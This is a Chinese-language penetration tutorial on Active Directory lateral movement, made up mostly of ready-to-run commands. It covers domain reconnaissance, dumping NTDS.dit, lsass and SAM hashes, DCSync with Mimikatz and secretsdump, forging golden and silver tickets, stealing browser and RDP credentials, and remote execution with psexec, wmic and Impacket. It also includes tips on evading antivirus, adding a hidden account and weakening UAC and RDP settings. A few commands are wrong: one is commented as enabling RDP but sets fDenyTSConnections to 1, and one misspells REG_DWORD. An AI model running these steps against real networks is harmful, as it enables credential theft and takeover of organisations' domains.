内网横向移动——域渗透

本文结合实践经验,详细介绍内网域渗透的基本思路和通用方法,关于域的基础概念放在另一篇文章中介绍:https://blog.csdn.net/Captain_RB/article/details/108433803

部分内容参考文章:https://www.freebuf.com/articles/system/224171.html

一、信息搜集

1.域内主机搜集

当拿下第一台域内主机并且可以以域用户身份登录时,此时可以全面搜集域内信息,了解域的规模、主机和用户角色等情况。常用域信息搜集命令如下所示:(可以将命令预先写成脚本,需要时丢到域机上直接执行出结果)

net view                               #查看当前域中在线主机
net view /domain                       #查看本机加入的域
net view /domain:<domain_name>         #查看domain_name域中的计算机

net config workstation                 #查看本机加入的域 (Workstation domain) 和当前登录域 (Logon domain)

net accounts /domain                   #查看域内密码策略

#---------以下命令只能以域成员身份执行---------#

net group /domain                      #查看域内所有全局组
net group "Domain Admins" /domain      #查看所有域管理员
net group "Domain Controllers" /domain #查看所有域控主机
net group "Domain Users"  /domain      #查看域内所有用户
net group "Domain Computers" /domain   #查看域内所有主机

net localgroup administrators /domain  #查看DC的本地管理员组

net time /domain                       #查看域的当前时间
                                       #一般由主域控担任时间同步服务器,可以用来初步判断主域控

#---------以下命令只能在DC上执行---------#

netdom query fsmo                      #查看FSMO角色,可用来查看架构主控

dsquery computer                       #查看目录中的计算机
dsquery subnet                         #查看目录中的子网
dsquery group                          #查看目录中的组
dsquery ou                             #查看目录中的组织单位
dsquery site                           #查看目录中的站点
dsquery server                         #查看目录中的AD DC/LDS实例
dsquery server –forest –hasfsmo schema #查看目录中的架构主控
dsquery user                           #查看目录中的用户
dsquery *                              #查看目录中的所有对象

csvde -f users.csv                     #以CSV格式导出所有用户信息

注意:
① 有/domain的命令是请求DC处理执行的,所以必须是域内主机才能执行此类命令,返回的是DC的查询结果,针对域,与在DC上查询是一样的;

② 没有/domain的命令是在本机执行的,返回的是本机的查询结果,针对本机,与DC上查询的结果是不同的。

2.域外主机搜集

如果拥有域内账户和密码 (普通用户即可),此时即便没有登录到域内主机,只要当前主机可以访问到DC,一样可以利用LDAP协议获取域内信息。LDAP即轻量级目录访问协议 (默认389端口),AD域基于LDAP实现用户的权限控制,其信息以树形结构存储,每个信息节点以DN (Distinguished Name) 标识,DN由类似 “CN-OU-DC” 的多级路径组成,其中CN (Common Name) 为计算机(组)、用户(组)的通用名称,OU (Organization Unit) 为组织单元,DC (Domain Component) 为域名组成。

通过DN可以筛选获取不同的信息,下面介绍两种可以利用LDAP获取域信息的工具:

(1)ldapsearch

Linux环境的AD域LDAP信息搜集工具,安装方式 sudo apt install ldap-utils,Kali自带,使用方法为:ldapsearch <options> [filter],返回信息中numEntries为查询结果的数量,常用命令及参数如下所示:

# 查询 "CN=users,DC=main,DC=test,DC=com" 目录下的用户和用户组
# 注意这里查询的users目录和"domain users"组是两个概念,其中的用户不一定相同
ldapsearch -x -H ldap://192.168.43.100 -D "testuser@main.test.com" -w "password" -b "CN=users,DC=main,DC=test,DC=com" dn
# -x: 使用简单的认证方式,而非SASL
# -H <ldapuri>: LDAP服务器的URI,格式为 ldap://ip[:port]
# -D <binddn>: 认证用户
# -w <passwd>: 非交互式输入密码
# -b <searchbase>: 从指定的DN多级目录开始查询
# dn: 过滤显示节点的DN名称,如果不加过滤内容则会返回所有信息

# 查询域管理员账户
ldapsearch -x -H ldap://192.168.43.100 -D "testuser@main.test.com" -w "password" -b "DC=main,DC=test,DC=com" memberOf="CN=Domain Admins,CN=Users,DC=main,DC=test,DC=com" dn

# 查询域中所有账户,包括用户和计算机
ldapsearch -x -H ldap://192.168.43.100 -D "testuser@main.test.com" -w "password" -b "DC=main,DC=test,DC=com"  objectclass=user dn

# 查询域中所有用户
ldapsearch -x -H ldap://192.168.43.100 -D "testuser@main.test.com" -w "password" -b "DC=main,DC=test,DC=com" objectCategory="CN=Person,CN=Schema,CN=Configuration,DC=main,DC=test,DC=com" dn

# 查询OU=ou1目录下的用户及邮箱、用户组以及下属OU
ldapsearch -x -H ldap://192.168.43.100 -D "testuser@main.test.com" -w "password" -b "OU=ou1,DC=main,DC=test,DC=com" dn mail

注意:过滤和筛选的关键字可以参考ldapsearch查询返回的完整信息

(2)PowerView

Windows环境的AD域LDAP信息搜集工具,属于PowerSploit和Empire框架的一部分,完全依赖于powershell和wmi进行查询,链接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1,注意要用链接中的PowerView版本,Releases发布中的不是最新版本。

域内主机在导入PowerView模块后直接查询即可,使用方法如下:

Set-ExecutionPolicy Bypass    # 修改PS脚本执行策略

Import-Module PowerView.ps1   # 导入PowerView模块    
或者  
. .\PowerView.ps1

Get-NetDomain                 # 查看域名称

Get-NetDomainController       # 获取域控的信息

Get-NetForest                 # 查看域森林信息

Get-Netuser                   # 获取域内所有用户的详细信息,通过 "Get-NetUser | select name" 筛选用户名

Get-NetGroup                  # 获取域内所有组信息,通过 "Get-NetGroup | select name" 筛选组名

Get-NetComputer               # 获取域内所有机器的详细信息,通过 "Get-NetComputer | select name" 筛选计算机名

Get-DomainController          # 查询域控制器

Get-NetOU                     # 获取OU信息

Get-ADOBJECT                  # 获取LDAP所有节点的信息

Invoke-UserHunter             # 查询用户登录过的机器

Invoke-EnumerateLocalAdmin    # 查询本地管理员组

Get-DomainDNSZone | fl ZoneName         # 获取域名

Get-DomainDNSRecord -ZoneName <String>  # 查询特定域名下的DNS解析记录

# 查询域管成员,LDAPFilter过滤关键字可参考Get-NetUser查询返回的完整信息
# 反向查询在条件前加上 ! 即可,如'(!memberof=CN=Domain Admins,CN=Users,DC=test,DC=com)'
Get-NetUser -LDAPFilter '(memberof=CN=Domain Admins,CN=Users,DC=test,DC=com)' | fl name 

# 查询特定路径下的所有LDAP节点
Get-ADOBJECT -SearchBase "LDAP://OU=important,DC=test,DC=com" | fl name 

注意:可使用help <cmdlet>Get-Help <cmdlet>查看命令的帮助文档,根据文档说明过滤查询内容。

域外主机查询在导入PowerView.ps1模块后,需要配置域内用户名和密码,然后在命令中指明域名和域控信息:

# 配置域内用户名和密码
$uname="test"                                                      
$pass=ConvertTo-SecureString "password" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pass)    

# 查询OU组成员
Get-NetUser -Domain test.com -DomainController 192.168.43.100 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred

3.域控制器搜集

域控制器DC上存储着所有用户的账号哈希、DNS解析、安全日志等域中重要数据,取得DC的管理员权限后可以获取这些重要信息:

(1)NTDS.DIT文件

NTDS.DIT是AD的数据库文件,也是AD DS的心脏,包含了当前域中所有用户的账号和哈希值、组、OU等信息,默认存储在所有DC上的%SystemRoot%\NTDS目录中,只能通过DC自身进程和协议访问,在DC上可以使用其自带工具 ntdsutil 和 vssadmin 获取NTDS.DIT的副本,具体使用如下:

① 获取NTDS.DIT和SYSTEM.HIVE文件

方法一:ntdsutil

ntdsutil是DC上用于访问和管理AD数据库的工具

# 查询当前快照列表
ntdsutil snapshot "List All" quit quit

# 查询已挂载的快照列表
ntdsutil snapshot "List Mounted" quit quit

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

# 创建快照后提示:成功生成快照集 {99d2f8bf-c886-41c0-9fe8-901fc8c1127e}

# 挂载快照
ntdsutil snapshot "mount 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit

# 成功挂载后提示:{2df5e98a-7862-4ac6-9d1c-23a03690ed57} 已作为 C:\$SNAP_202009062051_VOLUMEC$\ 装载

# 复制ntds.dit
copy C:\$SNAP_202009062051_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 复制system
copy C:\$SNAP_202009062051_VOLUMEC$\windows\system32\config\system c:\system.hive

# 卸载快照
ntdsutil snapshot "unmount 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit

# 删除快照
ntdsutil snapshot "delete 99d2f8bf-c886-41c0-9fe8-901fc8c1127e" quit quit

方法二:vssadmin

vssadmin是Windows本地卷影拷贝服务(Volume Shadow copy Server,VSS)工具

# 查询当前系统的快照
vssadmin list shadows

# 创建快照
vssadmin create shadow /for=c:

# 创建快照后提示:成功地创建了 'c:\' 的卷影副本
# 卷影副本 ID: {506253f4-bddc-4c4f-93a0-9ca1c30e4ad4}
# 卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# 复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit  

# 复制system
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system c:\system.hive

# 删除快照
vssadmin delete shadows /for=c: /quiet   

② 解析文件,导出用户HASH

目前解析NTDS.DIT文件最简单的方法就是使用Impacket包中的secretsdump.py工具:获取到NTDS.DITSYSTEM.HIVE文件后,将其下载到本地就可以通过secretsdump.py导出所有用户的HASH值。(获取SYSTEM.HIVE文件除了上述两种方法外,用reg save HKLM\SYSTEM c:\system.hive转储也是可以的)

python secretsdump.py -ntds c:\ntds.dit -system c:\system.hive LOCAL

除了利用DC自身工具获取NTDS.DIT进而导出域内账户哈希之外,也可以利用DCSync获取,DCSync是利用DC之间每隔一段时间会进行一次数据同步的原理,伪造合法的DC数据同步请求从而获取信息,其优势在于不一定非要在DC上执行,以域管理员权限登录域内任何一台主机都可以获取,如利用Mimikatz获取所有账户哈希,注意工具免杀:

mimikatz.exe "privilege::debug" "log dcdump.log" "lsadump::dcsync /domain:test.domain.com /all /csv" exit
(2)DNS记录

域中DNS服务器通常由DC兼任,也可以单独设置。DNS记录主要包括正反向解析表,获取正反向解析表有助于澄清域内网络的拓扑结构,这里介绍两种获取DNS记录的方法:

方法一:通过DNS Manager获取

在DC上的DNS Manager界面找到要导出记录的域,右键选择导出列表即可。

方法二:通过dnscmd命令获取

dnscmd是用来管理DNS服务器的工具,支持远程连接,基本使用方法如下:

# 列出指定DNS服务器的区域记录
dnscmd <ServerName> /EnumZones
# <ServerName>为.时,向本机DNS服务器查询记录
# <ServerName>为IP地址或主机名时,向远程主机查询记录

# 列出本机DNS服务器的反向区域记录
dnscmd . /EnumZones /Reverse

# 向本机DNS服务器查询test.domain.com域的基本信息
dnscmd . /ZoneInfo test.domain.com

# 向本机DNS服务器查询test.domain.com区域的记录
dnscmd . /EnumRecords test.domain.com .

# 向本机DNS服务器查询test.domain.com区域的记录
dnscmd . /ZonePrint test.domain.com 

# 向本机DNS服务器查询1.10.10.in-addr.arpa区域的记录
dnscmd . /EnumRecords 1.10.10.in-addr.arpa .
(3)安全日志

如果DC没有为域用户配置限定的登录主机,这时即便我们拿到了域管权限,获得了用户的账号密码,也无法登录其主机进一步进行查看,此时就可以通过查阅DC的安全日志,账户登录、Kerberos身份验证服务、Kerberos服务票证操作等事件记录中定位用户用于请求服务的主机,Server服务器已默认开启了这些事件的审核策略。

从Windows2000版本后共包括9种安全审计策略,即帐户登录、登录、对象访问、目录服务访问、进程追踪、特权使用、帐户管理、策略变更、系统事件:

  • 帐户登录:记录账户进行身份验证时产生的账户登录事件
  • 登录:记录本地计算机对本地用户进行身份验证时产生的登录事件
  • 对象访问:记录用户对Windows对象的访问事件,这里对象包括注册表、服务、打印机、文件/文件夹等
  • 目录服务访问:记录对AD中所有对象的访问事件
  • 进程追踪:记录主机执行的程序事件,不管是由用户自己执行还是系统自动执行的
  • 特权使用:记录用户使用分配的特权的事件,这里特权指在本地安全策略中分配给用户的权限
  • 帐户管理:记录包含了本地帐户、用户组、DC中域用户、域用户组等对象的管理、密码设置等事件
  • 策略变更:记录本地安全策略或DC上信任关系变化的事件
  • 系统事件:记录一些安全事件的杂项,如系统的启动和关闭、系统事件修改

注意账户登录和登录的区别,当域中用户在其主机上登录时,在其本地主机产生的是登录事件,而在DC上产生的是账户登录事件。

如果域管修改了Server的默认策略,我们也可以在DC上通过GPO和OU查看和配置特定的安全审核策略,在组策略编辑器->计算机配置->策略->Windows设置->安全设置->本地策略->审核策略中对9种审核策略进行配置,以及在安全设置->高级审核策略配置->审核策略中对一些高级选项进一步进行配置。

确认安全审核策略配置没问题后,接下来就可以查阅日志,通过账户登录、Kerberos身份验证服务、Kerberos服务票证操作等事件记录定位域用户登录主机的IP地址,具体的日志查阅方法参见:https://blog.csdn.net/Captain_RB/article/details/103853921

也可以通过工具直接提取日志信息,定位域用户对应IP地址,如: SharpADUserIP

二、获取凭证

8位以上的NTLM用普通设备破解起来就比较困难了,所以最好能够抓取明文密码。server 2012/windows 8之后版本的系统默认不会在内存中保存明文密码,所以首先需要确认注册表已经开启内存明文存储密码的注册表项:

# 查询相应注册表项
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential

# 修改注册表项,开启内存明文存储密码
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f

1.Mimikatz抓取密码

用管理员权限运行Mimikatz,以下命令可以抓取明文密码:

# 获取用户账号明文密码
privilege::debug
log passdump.log
sekurlsa::logonpasswords full

以下命令只能抓取账号哈希:

# 从lsass.exe进程获取账号哈希
lsadump::lsa /inject

# 从利用DCSync获取账号哈希,以域管理员权限在任何一台域内机器上运行即可
lsadump::dcsync /domain:test.domain.com /all /csv

# 从注册表获取账号哈希
lsadump::sam c:\sam.hive

注意:非交互方式运行Mimikatz时,多个命令分别用""标识,如:

mimikatz.exe "privilege::debug" "log passdump.log" "sekurlsa::logonpasswords full" exit

2.secretsdump获取密码

secretsdump.py是Impacket包中的一个工具,利用其可用通过DCSync获取域内所有用户的HASH,使用条件是具有域管理员权限,其优势是 可以不在域内主机上、不以域用户身份运行,只要能够访问到域控即可。

# 导出域内所有用户的NTLM HASH
python3 secretsdump.py main/testuser:password@192.168.43.100 -dc-ip 192.168.43.100 -just-dc-ntlm

# 仅导出域管理员administrator的HASH
python3 secretsdump.py main/testuser:password@192.168.43.100 -dc-ip 192.168.43.100 -just-dc-user administrator

secretsdump.py支持哈希传递,认证方式为-hashes [LMhash]:NThash,如下所示:

python3 secretsdump.py -hashes :9a1cf9104477fe556a5db81874498120 main/testuser@192.168.43.100 -dc-ip 192.168.43.100 -just-dc-ntlm

3.lsass转储内存

lsass进程负责Windows本地安全和登录策略,所有通过本地、远程身份成功登陆的用户信息都会保存在lsass.exe进程的内存中,其转储文件可用来抓取明文密码和哈希值,如下所示:

(1)转储lsass进程文件信息

方法一:任务管理器转储

taskmgr命令打开任务管理器,在任务管理器中找到lsass.exe进程,选择右键->创建转储文件,转储文件保存在弹窗提示的路径下。

方法二:Procdump转储

Procdump是Sysinternals Suite中的工具,一些情况下可以免杀,命令如下:

# Procdump命令转储lsass进程信息
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)Mimikatz读取转储文件
# Mimikatz读取转储文件
# 通过sekurlsa::logonpasswords可以获取明文密码
privilege::debug
sekurlsa::minidump lsass.dmp
log passdump.log
sekurlsa::logonpasswords full

4.注册表转储

方法一:cmd命令

# 从注册表转储用户账号哈希值
reg save HKLM\SAM sam.hive

方法二:Mimikatz

privilege::debug
lsadump::sam c:\sam.hive

可以通过cain查看生成的hive数据库文件,获取明文密码或HASH值。

方法三:Impacket

利用Impacket远程执行命令工具:wmiexec.py、psexec.py,远程连接后转储注册表文件,以wmiexec.py为例:(连接进入shell后可用help查看命令)

python3 wmiexec.py [[domain/]username[:password]@]<address>

# 获取注册表转储文件,默认存在目标机C:\目录下
# 目标机中文系统会提示解码错误,不影响使用
# /y:强制覆盖已存在文件,避免目标机C:\目录下存在同名文件,命令会询问是否覆盖,半交互模式程序会卡住
C:\>reg save HKLM\SYSTEM system.hive /y   
C:\>reg save HKLM\SAM sam.hive /y         
C:\>reg save HKLM\SECURITY security.hive /y

# 将转储文件,下载到本地
C:\>lget system.hive                    
C:\>lget sam.hive
C:\>lget security.hive

# 删除目标机上的转储文件
C:\>del /f system.hive                 
C:\>del /f sam.hive
C:\>del /f security.hive

C:\>exit

然后利用Impacket中的secretsdump.py工具导出HASH:

python3 secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

5.Mimikatz制作票据

获取krbtgt账户的哈希后,可以根据Kerberos认证过程,制作黄金票据和白银票据。

(1)黄金票据

黄金票据伪造的是TGT,回顾下Kerberos认证过程,当具备krbtgt的Master Key、SKDC-Client、域名\用户名等重要元素后,就可以伪造TGT,直接向KDC的票据授权服务TGS发送票据授权服务请求,完成接下来的认证工作。TGT所需元素中,SKDC-Client可由程序随机生成,其他所需元素为:

  • 域名称
  • 域的SID值
  • 域中krbtgt账户的NTLM HASH
  • 伪造的用户名

黄金票据具有以下特点:

  • 因为Client向TGS发送KRB_TGS_REQ之后的工作不再验证用户账户的有效性,所以利用黄金票据可以模拟任何用户访问域中相应资源
  • 只要能登陆域中的主机,就可以利用黄金票据,是不是以域用户身份登录无所谓,重要的是可以解析DC的FQDN(在没有导入黄金票据的情况下,加入域的主机输入命令dir \\dc.main.test.com\c$提示Access is denied,导入票据后可以正常访问;而没有加入域的主机导入票据前后输入命令dir \\dc.main.test.com\c$,提示的都是The network path was not found
  • 在多域森林中,如果创建黄金票据所在的域不是林根域(不包含Enterprise Admins组),则黄金票据不会向林中的其他域提供管理权限

黄金票据的利用过程如下:

① 获取票据信息

privilege::debug

# 方法一:从NTDS.DIT数据库获取krbtgt账户哈希
lsadump::dcsync /domain:test.domain.com /user:krbtgt

# 方法二:从lsass进程获取krbtgt账户哈希
lsadump::lsa /inject /name:krbtgt

② 制作黄金票据

kerberos::golden /domain:test.domain.com /sid:S-1-8-21-421232943-2688574678-8739778600 /krbtgt:43afc17b22719abbbssa7416fbb6743hh /user:username /ticket:admin.kirbi 
# /sid:域sid
# /krbtgt:krbtgt账户的NTLM HASH值
# /user: 伪造的用户名
# /ticket:生成的票据名称

注意:抓取的SID=域SID+RID,而制作票据时使用的SID为域SID,所以要将末尾的RID去掉。

② 使用黄金票据

kerberos::purge                  # 清除Kerberos票据
kerberos::ptt admin.kirbi        # 导入黄金票据
kerberos::list                   # 列出当前Kerberos票据

利用klist命令也可以查看和清除当前Kerberos票据:

klist                            # 列出当前Kerberos票据
klist purge                      # 清除Kerberos票据

导入黄金票据后就可以实现对相应资源的访问了,如查看共享文件、远程桌面访问、PsExec执行命令等。

(2)白银票据

白银票据是伪造的TGS票据,即使用Server的Master Key进行加密的Ticket(ST),当具备SServer-Client、域名\用户名、Ticket到期时间等信息后,就可以伪造ST,直接与Server进行交互,完成接下来的认证工作,无需再经过KDC认证。ST所需元素中,SServer-Client可由程序随机生成,其他所需元素为:

  • 域名称
  • 域的SID值
  • 域中Server账户的NTLM HASH
  • 访问的服务名,最常用到的是CIFS资源共享服务
  • 伪造的用户名

白银票据具有以下特点:

  • 只能访问指定目标主机中指定的服务,有较大局限性
  • 和黄金票据相同,只要能登陆域中的主机,就可以利用白银票据,是不是域用户无所谓

白银票据的利用过程如下:

① 获取票据信息

privilege::debug

# 获取Server的NTLM HASH
sekurlsa::logonpasswords full

② 白银票据制作和使用

mimikatz.exe "kerberos::golden /domain:test.domain.com /sid:S-1-8-21-421232943-2688574678-8739778600 /target:dc01.test.domain.com /service:cifs /rc4:afc3417bbb519afffssa7416fbb6556aa /user:admin /ptt" exit
# /sid:域sid
# /target: 目标服务器主机名
# /service: 要访问的服务名
# /rc4: 目标服务器的NTLM HASH
# /user: 伪造的用户名,可以是域内的用户名,也可以是任意用户名

dir \\dc01.test.domain.com\c$

6.PowerView提权

正常情况下只有AdministratorsDomain AdminsEnterprise Domain AdminsDomain Controllers组内的用户才具有DCSync的操作权限。当已经获得了域管理员权限,此时可以通过 PowerView 修改域内普通用户使其具有DCSync操作权限,从而可以获取域内所有用户的HASH,达到提权的目的。具体做法就是为普通域用户添加三条ACE访问控制项:

DS-Replication-Get-Changes —> (GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All —> (GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes —> (GUID:89e95b76-444d-4c62-991a-0facbeda640c)

Set-ExecutionPolicy Bypass    # 修改PS脚本执行策略

Import-Module PowerView.ps1   # 导入PowerView模块    
或者  
. .\PowerView.ps1

# 对普通用户添加以上三条ACE访问控制项
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity testuser -Rights DCSync -Verbose

# 对普通用户删除以上三条ACE访问控制项
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity testuser -Rights DCSync -Verbose

普通用户具有DCSync权限后,就可以通过Mimikatz、secretsdump等工具获取域内所有用户的HASH。

7.主机保存记录

从主机上记录账户和密码的应用获取账户和密码是内网移动的一种高效简洁的方式,这里主要介绍从浏览器、RDP连接记录获取保存的账户密码:

(1)浏览器记录

一是可以远程桌面连接后,直接打开当前用户的浏览器获取账户密码保存记录,二是可以利用工具,远程接入主机后通过命令行获取,注意只能获取当前用户的浏览器账户密码保存记录,下面介绍两种工具:

HackBrowserData

多平台浏览器数据导出工具,支持Windows、macOS、Linux绝大多数浏览器 (IE和Safari不支持),使用方法 hack-browser-data [OPTIONS],如下所示:

hack-browser-data.exe -b chrome -f json --dir results --zip
# --browser value, -b value         available browsers: all|chrome|opera-gx|vivaldi|coccoc|brave|edge|chromium|chrome-beta|opera|yandex|firefox (default: "all")
# --compress, --zip                 compress result to zip (default: false)
# --results-dir value, --dir value  export dir (default: "results")
# --format value, -f value          file name csv|json (default: "csv")

BrowserGhost

Windows平台的浏览器数据导出工具,运行环境需要安装.NET3.5 (包括.NET2.0和3.0),可抓取Chrome和IE的账户密码记录,使用时直接运行即可。

实验中发现,当主机仅有Administrator处于console在线状态,此时用其他用户远程接入 (如用wmiexec),运行BrowserGhost可以获取到Administrator保存的浏览器记录。

(2)RDP连接记录

① 查看历史连接记录

当前用户 的远程桌面连接历史记录可以在注册表 HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers 中查看:

# 查看RDP连接历史记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

# 查看RDP连接192.168.43.122的用户名
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.43.122" /v UsernameHint

② 破解RDP连接凭据

用户在保存RDP连接凭据时,Windows系统通过DPAPI将凭据加密保存在主机中,可以用cmdkey /list命令查看 当前用户 保存在计算机中的凭据,也可以在C:\Users\<username>\AppData\Local\Microsoft\Credentials目录中查看 任意用户 的凭据:

dir /a "C:\Users\<username>\AppData\Local\Microsoft\Credentials"

凭据需要利用工具解密查看,这里使用Mimikatz进行破解,在目标主机上运行Mimikatz,或者将凭据文件下载到本地再运行Mimikatz,注意凭据文件在目录中是隐藏属性,下载时要利用attrib先将其隐藏属性去掉。Mimikatz以管理员权限运行:

mimikatz.exe "privilege::debug" "dpapi::cred /in:<credfile>"

运行结果中pbData就是凭据的加密数据,guidMasterKey是加密凭据密钥MasterKey的GUID,如下图所示:
请添加图片描述
然后执行以下命令,在内存信息中找到与guidMasterKey相关联的MasterKey,此时抓取的 目标用户应该在线,不然内存中不会有关联的MasterKey信息:(如果使用将凭据文件下载到本地再破解的方法,需要在目标主机上将lsass进程转储,将转储文件下载到本地,然后用Mimikatz读取sekurlsa::minidump lsass.dmp)

mimikatz.exe "privilege::debug" "sekurlsa::dpapi"

请添加图片描述
最后结合 MasterKey对凭据文件进行解密:

mimikatz.exe "privilege::debug" "dpapi::cred /in:<credfile> /masterkey:<masterkey>"

8.社工获取

无需技术支持,却是最高效的密码获取方式,可以从以下途径获取密码:

  • 初始密码、弱口令、强弱口令、同口令
  • 各类config配置文件
  • 个人保存的密码记录文件
  • 邮箱

三、远程访问

1.访问共享资源

Windows默认开启IPC$、Admin$、C$等系统共享,本地Administrators组内成员有完全控制权,如果net share查看默认共享被关闭,可以通过修改注册表项再次将其打开:(系统重启后生效)

# 开启硬盘各分区(C$/D$/...)共享
reg add "HKLM\SYSTEM\CurrentControlSet\Services\lanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 1 /f

# 开启admin$共享
reg add "HKLM\SYSTEM\CurrentControlSet\Services\lanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 1 /f

# 开启IPC$共享
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v restrictanonymous /t REG_DWORD /d 0 /f

访问共享文件的常见方法如下:

方法一:net use

net use \\ip\ipc$ password /user:[domain\]username
dir \\ip\c$

方法二:直接访问共享文件

在文件夹路径或者运行窗口中直接输入共享文件路径\\ip\<path>,然后在提示框中输入用户和密码即可。

2.远程执行命令

方法一:psExec

psExec也是Sysinternals Suite中的工具,可以获取SYSTEM权限Shell,一些情况下可以免杀,命令使用如下:

# 获取远程主机SYSTEM权限的Shell
# -s:以SYSTEM身份运行程序
# 如果不加-s选项,则获取的Shell是认证账户的权限
psexec \\10.10.1.2 -u "name" -p "pass" -s cmd

# 以SYSTEM身份交互式运行注册表编辑器,使远程主机看到程序运行界面
# -i:在远程主机交互式运行程序,程序会在远程主机上开启
psexec \\10.10.1.2 -u "name" -p "pass" -s -i regedit.exe

# 以SYSTEM身份在远程主机后台运行test.exe,命令执行后返回
# -d:远程主机程序执行后立刻返回,无需等待程序运行结束
psexec \\10.10.1.2 -u "name" -p "pass" -s -d c:\test.exe

方法二:WMIC

WMIC为Windows自带的管理工具,免杀最安全,常见远控命令如下:

# 在目标主机上创建进程,新建用户
wmic /node:"10.10.1.10" /user:"name" /password:"pass" process call create 'cmd.exe /c net user test$ P@ssw0rd /add'

# 在目标主机上创建进程,注册表开启远程桌面并开启RDP远程桌面服务
wmic /node:"10.10.1.200" /user:"name" /password:"pass" process call create 'cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f'
wmic /node:"10.10.1.200" /user:"name" /password:"pass" process call create 'cmd.exe /c net start TermService'

# 在目标主机上终止进程
wmic /node:"10.10.1.10" /user:"name" /password:"pass" process where name="explorer.exe" call terminate

方法三:Impacket

常用的远程执行命令工具:wmiexec.py、psexec.py、smbexec.py、atexec.py,支持HASH传递,其中wmiexec.py和psexec.py可以上传下载文件,psexec.py和smbexec.py可以获取SYSTEM权限Shell,基本使用如下:

  • wmiexec.py:既可以非交互式执行命令,也可以获取半交互式shell
# 获取半交互式shell
python3 wmiexec.py [[domain/]username[:password]@]<address>

python3 wmiexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> 

# 非交互式执行命令
python3 wmiexec.py [[domain/]username[:password]@]<address> "command"

python3 wmiexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> "command"
  • psexec.py:既可以非交互式执行命令,也可以获取半交互式shell
# 获取半交互式shell
python3 psexec.py [[domain/]username[:password]@]<address>

python3 psexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> 

# 非交互式执行命令
python3 psexec.py [[domain/]username[:password]@]<address> "command"

python3 psexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> "command"
  • smbexec.py:获取半交互式shell
# 获取半交互式shell
python3 smbexec.py [[domain/]username[:password]@]<address>

python3 smbexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> 
  • atexec.py:非交互式执行命令
# 非交互式执行命令
python3 atexec.py [[domain/]username[:password]@]<address> "command"

python3 atexec.py -hashes [LMhash]:NThash [[domain/]username@]<address> "command"

注意:关于UAC限制 !!

一些情况下在使用Impacket远程命令工具时会提示rpc_s_access_denied,这是由于UAC导致。UAC是从Windows Vista开始引入的安全特性,为了防止回环攻击和恶意软件,UAC默认对网络共享访问有如下限制:

  • 对于本地用户,只有用administrator (SID 500) 远程访问网络共享时可以获取完整的管理员权限,而本地管理员组的其他成员无法获取完整的管理员权限,无法进行远程管理。
  • 对于域用户,所有域管理员组的成员在访问网络共享时都可以获取完整的管理员权限,不受UAC限制。

可以通过修改注册表项禁用UAC限制,修改后立即生效,无需重启:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

3.远程桌面

虽说直接远程桌面上去动作是比较大了,但它无疑是最简单有效的方式。

(1)基本命令
# 打开远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

# 开启RDP远程桌面服务
net start TermService

# 关闭远程桌面
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f 

# 查看远程桌面端口(十六进制)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 

# 修改远程桌面端口,需要在services.msc中重启Remote Desktop Services服务
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 38389 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 38389 /f

# 允许每个用户多Session登录
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DOWRD /d 0 /f

# 禁用不允许空密码远程访问
reg add "HKLM\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f

# /v:要添加的注册表键的名称
# /t:要添加的注册表类型
# /f:覆盖不提醒
# /d:添加的值
(2)多用户登录问题

与Windows Server多用户环境不同,Windows 7/8/8.1/10 等个人机默认都是单用户环境,同一时间只能有一个用户在线,可以通过以下两种方法更改,使其可以多用户同时登录:

方法一:通过Mimikatz

mimikatz "privilege::debug" "ts::multirdp" "exit"

